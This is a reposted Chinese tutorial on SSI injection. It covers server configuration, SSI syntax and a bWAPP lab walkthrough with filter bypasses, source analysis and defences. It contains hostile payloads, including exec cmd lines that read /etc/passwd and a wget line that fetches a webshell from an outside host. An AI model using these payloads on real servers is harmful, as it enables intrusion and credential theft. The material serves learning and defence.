SSI注入--嵌入HTML頁面中的指令,類似jsp、asp對現有HTML頁面增加動態生成內容,見后面例子


SSI注入漏洞總結

from:https://www.mi1k7ea.com/2019/09/28/SSI%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

 

現在大多數Web服務已經很少用到SSI了,但是偶爾還是能碰碰運氣的。

0x01 基本概念

何為SSI

SSI全稱是Server Side Includes,即服務器端包含,是一種基於服務器端的網頁制作技術。

SSI是嵌入HTML頁面中的指令,在頁面被提供時由服務器進行運算,以對現有HTML頁面增加動態生成的內容,而無須通過CGI程序提供其整個頁面,或者使用其他動態技術。

基本原理就是:SSI在HTML文件中,可以通過注釋行調用命令或指針,即允許通過在HTML頁面注入腳本或遠程執行任意代碼。

SHTML文件

SHTML即Server-Parsed HTML。

shtml文件(還有stm、shtm文件)就是應用了SSI技術的html文件,所以在.shtml頁面返回到客戶端前,頁面中的SSI指令將被服務器解析。可以使用SSI指令將其它文件、圖片包含在頁面中,也可以將其它的CGI程序包含在頁面中,如.aspx文件。在給客戶端返回的頁面中不會包含SSI指令。如果SSI指令不能被解析,則瀏覽器會將其做為普通的HTML注釋處理。

Web服務啟動SSI

Nginx

在Nginx中,開啟SSI只需在配置文件中添加如下幾項:

1
2
3
ssi on;
ssi_silent_errors off;
ssi_types text/shtml;

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
server{
listen 80;
server_name www.hello.com
# 配置SSL
ssi on; # 開啟SSI支持
ssi_silent_errors on; # 默認為off,設置為on則在處理SSI文件出錯時不輸出錯誤信息
ssi_types text/html; # 需要支持的shtml 默認是 text/html

location / {
root html;
index index.html index.htm;
}
}

Apache

修改Apache配置文件httpd.conf:

1、確認加載include.so模塊,將注釋去掉:

1
LoadModule include_module libexec/apache2/mod_include.so

2、AddType部分去掉這兩段注釋:

1
2
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml

3、Directory目錄權限里面找到Options Indexes FollowSymLinks,並增加Includes修改為Options Indexes FollowSymLinks Includes

4、重新啟動Apache;

IIS

不同版本的Windows下配置有所區別,具體的參考下資料就好:

win7下使用IIS服務器及自定義服務器端包含模塊(SSI)步驟

IIS SHTML支持設置方法(SSI)

SSI基本語法

在SHTML文件中SSI標簽使用的幾種基本語法如下,必須注意的是其語法格式必須是以html的注釋符<!--開頭、且后面緊接#符號和SSI命令,它們期間不能存在空格:

1、顯示服務器端環境變量<#echo>

本文檔名稱:<!--#echo var="DOCUMENT_NAME"-->

現在時間:<!--#echo var="DATE_LOCAL"-->

顯示IP地址:<!--#echo var="REMOTE_ADDR"-->

2、將文本內容直接插入到文檔中<#include>

1
2
3
4
<!--#include file="文件名稱"-->
<!--#include virtual="index.html" -->
<!--#include virtual="文件名稱"–>
<!--#include virtual="/www/footer.html" -->

注:file包含文件可以在同一級目錄或其子目錄中,但不能在上一級目錄中,virtual包含文件可以是Web站點上的虛擬目錄的完整路徑。

3、顯示WEB文檔相關信息<#flastmod><#fsize>(如文件制作日期/大小等)

文件最近更新日期:<! #flastmod file="文件名稱"–>

文件的長度:<!--#fsize file="文件名稱"-->

4、直接執行服務器上的各種程序<#exec>(如CGI或其他可執行程序)

1
2
3
4
<!–#exec cmd="文件名稱"–>
<!--#exec cmd="cat /etc/passwd"--
<!–#exec cgi="文件名稱"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>

將某一外部程序的輸出插入到頁面中。可插入CGI程序或者是常規應用程序的輸入,這取決於使用的參數是cmd還是CGI。

5、設置SSI信息顯示格式<#config>(如文件制作日期/大小顯示方式)

6、高級SSI可設置變量使用if條件語句

0x02 SSI注入漏洞

何為SSI注入

SSI注入全稱Server-Side Includes Injection,即服務端包含注入。在stm、shtm、shtml等Web頁面中,如果用戶可以從外部輸入SSI標簽,而輸入的內容會顯示到上述后綴的Web頁面時,就導致可以遠程在Web應用中注入腳本來執行代碼。

簡單點說就是攻擊者可以通過外部輸入SSI標簽到Web頁面(stm、shtm、shtml文件)來動態執行代碼。

SSI注入允許遠程在Web應用中注入腳本來執行代碼。簡單點說就是攻擊者可以通過外部輸入SSI語句到Web頁面來動態執行代碼。

前提條件

攻擊者要想進行SSI注入、在Web服務器上運行任意命令,需要滿足下列幾點前提條件才能成功:

  1. Web服務器支持並開啟了SSI;
  2. Web應用程序在返回HTML頁面時,嵌入了用戶輸入的內容;
  3. 外部輸入的參數值未進行有效的過濾;

漏洞場景

一般地,在stm、shtm、shtml等文件中,存在XSS的頁面,大概率是存在SSI注入漏洞的。也就是說,用戶輸入的內容會顯示在頁面中的場景。比如,一個存在反射型XSS漏洞的頁面,如果輸入的payload不是XSS代碼而是SSI的標簽,同時服務器又開啟了對SSI的支持的話就會存在SSI注入漏洞。

從定義中看出,頁面中有一小部分是動態輸出的時候使用SSI,比如:

  • 文件相關的屬性字段
  • 當前時間
  • 訪客IP
  • 調用CGI程序

SSI注入常用命令

這里可以參考OWASP的說明:https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection

命令執行

Linux

列出目錄文件:

1
<!--#exec cmd="ls" -->

訪問目錄:

1
<!--#exec cmd="cd /root/dir/">

執行腳本:

1
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows

列出目錄文件:

1
<!--#exec cmd="dir" -->

訪問目錄:

1
<!--#exec cmd="cd C:\admin\dir">

訪問與設置服務器信息

更改錯誤消息輸出:

1
<!--#config errmsg="File not found, informs users and password"-->

顯示當前文檔的文件名:

1
<!--#echo var="DOCUMENT_NAME" -->

顯示虛擬路徑和文件名:

1
<!--#echo var="DOCUMENT_URI" -->

使用“ config”命令和“ timefmt”參數,可以控制日期和時間輸出格式:

1
<!--#config timefmt="A %B %d %Y %r"-->

使用“ fsize”命令,可以打印所選文件的大小:

1
<!--#fsize file="ssi.shtml" -->

ssinc.dll緩沖區溢出漏洞

在IIS的4.0和5.0版本中,攻擊者可以通過動態鏈接庫(ssinc.dll)中的緩沖區溢出故障來獲取系統特權。ssinc.dll是用於解釋服務器端包含文件的程序。

通過創建包含以下SSI代碼的惡意頁面並強制Web應用加載該頁面( 路徑遍歷攻擊),可以執行以下攻擊:

ssi_over.shtml:

1
<!--#include file="UUUUUUUU...UU"-->

注意,字符U的數量必須大於2049。

強制Web應用加載ssi_over.shtml頁面:

正常網站:www.vulnerablesite.org/index.asp?page=news.asp

惡意網站:www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml

如果IIS返回空白頁,則表明發生了溢出。在這種情況下,攻擊者可能會操縱過程流並執行任意代碼。

Demo

下面直接看BWAPP的SSI注入漏洞環境。

Low級

頁面是個表單,可以輸入First name和Last name,然后提交來查詢你的IP地址:

隨便輸入些內容點擊Lookup,跳轉至新的頁面:

可看到該頁面是shtml頁面,並且用戶輸入的表單信息直接輸出在該頁面上。

當然,我們輸入XSS payload,就會彈框了,后台沒有進行任何過濾:

這就滿足前面所說的場景了,該頁面是SHTML文件,且存在反射型XSS,同時我們可以推測服務端是開啟SSI的(因為對IP地址進行了查詢操作並輸出在頁面上),那么該頁面時大概率存在SSI注入漏洞的。

下面來驗證一下,直接輸入執行系統命令的SSI標簽:

<!--#exec cmd="whoami"-->

據此,我們就可以知道,下面顯示lookup結果的IP地址的SSI標簽為<!--#echo var="REMOTE_ADDR"-->

Medium級

該級別下XSS不能通過引號來將字符串括起來再彈框輸出,因為后台程序在引號前添加了反斜杠進行了轉義:

但是輸入數字和用/括起來的字符串還是能正常輸出的:

即目前可知,后台程序對引號都進行了轉義的出來。

意料之中,Low級SSI注入的payload輸進去后沒執行成功:

一個個字符嘗試,從XSS能注入的話是發現尖括號<>是沒有被過濾的;接着對着之前的payload逐個字符去掉,發現將雙引號去掉就能執行了:

<!--#exec cmd=whoami -->

雖然可以執行whoami命令,但是對於需要參數輸入的命令是沒辦法執行了的,因為沒有引號將整條命令括起來而中間存在空格,這樣后台是沒辦法識別出整條命令的。

那么嘗試將雙引號替換為單引號,同樣失效;這時可以想象平時進行命令注入利用的時候,我們可以利用哪些特殊字符,如換行符\n、反引號`、分號;、管道符|、與運算符&等等,逐一嘗試,最后發現反引號成功執行命令:

1
<!--#exec cmd=`cat /etc/passwd`-->

High級

此級別下,后台程序對輸入的內容進行了HTML編碼后才輸出到頁面中,即完全防御住了XSS漏洞,同時也讓SSI注入無法成功進行:

最為重要的尖括號<>都被HTML編碼了,那就不可能再插入標簽了,而SSI注入就是注入標簽,這下啥戲都沒有了。

這也從另一方面說明,成功防御XSS漏洞的HTML輸出編碼也能夠有效防御SSI注入漏洞。

源碼簡析

在ssii.php中,關鍵代碼如下,不同級別下xss()函數中調用的過濾函數是不一樣的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
include("security.php");
include("security_level_check.php");
include("functions_external.php");
include("selections.php");

$field_empty = 0;

function xss($data)
{

switch($_COOKIE["security_level"])
{

case "0" :

$data = no_check($data);
break;

case "1" :

$data = xss_check_4($data);
break;

case "2" :

$data = xss_check_3($data);
break;

default :

$data = no_check($data);
break;

}

return $data;

}

if(isset($_POST["form"]))
{

$firstname = ucwords(xss($_POST["firstname"]));
$lastname = ucwords(xss($_POST["lastname"]));

if($firstname == "" or $lastname == "")
{

$field_empty = 1;

}

else
{

$line = '<p>Hello ' . $firstname . ' ' . $lastname . ',</p><p>Your IP address is:' . '</p><h1><!--#echo var="REMOTE_ADDR" --></h1>';

// Writes a new line to the file
$fp = fopen("ssii.shtml", "w");
fputs($fp, $line, 200);
fclose($fp);

header("Location: ssii.shtml");

exit;

}

}

下面我們跟到functions_external.php,查看幾個防御函數是怎么寫的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function no_check($data)
{

return $data;

}

function xss_check_3($data, $encoding = "UTF-8")
{

// htmlspecialchars - converts special characters to HTML entities
// '&' (ampersand) becomes '&amp;'
// '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
// "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
// '<' (less than) becomes '&lt;'
// '>' (greater than) becomes '&gt;'

return htmlspecialchars($data, ENT_QUOTES, $encoding);

}

function xss_check_4($data)
{

// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
// Do NOT use this for XSS or HTML validations!!!

return addslashes($data);

}

no_check()函數無任何過濾,對應Low級;xss_check_4()函數調用addslashes()函數進行過濾,即對引號繼續轉義操作,對應Medium級;xss_check_3()函數調用防御XSS的終極Boss——htmlspecialchars()函數進行過濾,將尖括號等進行了轉義,對應High級。

0x03 檢測與防御

檢測方法

搜索是否存在.stm,.shtm和.shtml后綴的文件,若存在則進一步判斷Web服務是否支持並開啟了SSI,若開啟了則進一步分析上述后綴的文件中是否存在用戶輸入內容未經過有效過濾就反射輸出到頁面中,若有則存在SSI注入漏洞。

防御方法

  • 若非必須,盡量關閉服務器的SSI功能;

  • 對用戶的輸入進行嚴格的過濾,過濾相關SSI特殊字符(<,>,#,-,",');

0x04 參考

服務器端包含注入SSI分析總結

Server-Side Includes (SSI) Injection_Injection)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM